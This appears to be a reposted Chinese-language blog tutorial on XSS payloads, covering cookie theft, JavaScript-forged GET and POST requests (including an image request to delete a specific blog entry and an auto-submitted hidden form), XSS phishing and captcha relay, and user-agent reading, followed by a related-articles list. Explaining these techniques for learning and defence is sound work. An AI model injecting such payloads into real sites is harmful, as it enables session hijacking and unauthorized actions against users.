详探XSS PayIoad

简介: 1.Cookie劫持一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户


1.Cookie劫持


一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击


Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户


<script>alert(document.cookie)</script>

这样,就完成了一个最简单的窃取Cookie的XSS Payload

Cookie的“HttpOnly”标识可以防止“Cookie劫持”🛹


2.构造GET与POST请求


构造GET请求:🛹

比如在某博客上有一篇文章,想通过XSS删除它,该如何做呢?

例如正常删除该文章的链接是:


http://blog.sohu.com/manage/entry.do? m=delete&id=156713012


攻击者可以通过插入一张图片来发起一个GET请求:


var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do? m=delete&id=156713012";
document.body.appendChild(img);


构造POST请求:🙌

例如现在有一个表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息


var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'
document.getElementById("xssform").submit();


3.XSS钓鱼


在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。


但是,这就能限制住XSS攻击吗?答案是否定的。


对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。


修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。


实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。


例如:



4.识别用户浏览器


最直接的莫过于通过XSS读取浏览器的UserAgent对象:


alert(navigator.userAgent);



如下是一个典型的Chrome浏览器:


目录
相关文章
|
2月前
|
存储 安全 JavaScript
26、XSS漏洞介绍
26、XSS漏洞介绍
19 0
|
2月前
|
网络安全 数据安全/隐私保护
CSRF 和 XSS 理解
CSRF 和 XSS 理解
26 0
|
4月前
|
存储 JavaScript 安全
CSRF和XSS是什么?
CSRF和XSS是什么?
|
8月前
|
安全 JavaScript 前端开发
|
安全 JavaScript 前端开发
XSS 是什么
XSS 是什么
122 0
|
Web App开发 安全
Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)
上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 `XSS Payload` 以及从攻击者的角度来初探 XSS 攻击的威力。
2957 0
|
Web App开发 JavaScript 前端开发
|
JavaScript 前端开发 Go
XSS跨站脚本小结
XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如等。 参考链接:http://www.jb51.net/tools/xss.htm  http://d3adend.
1316 0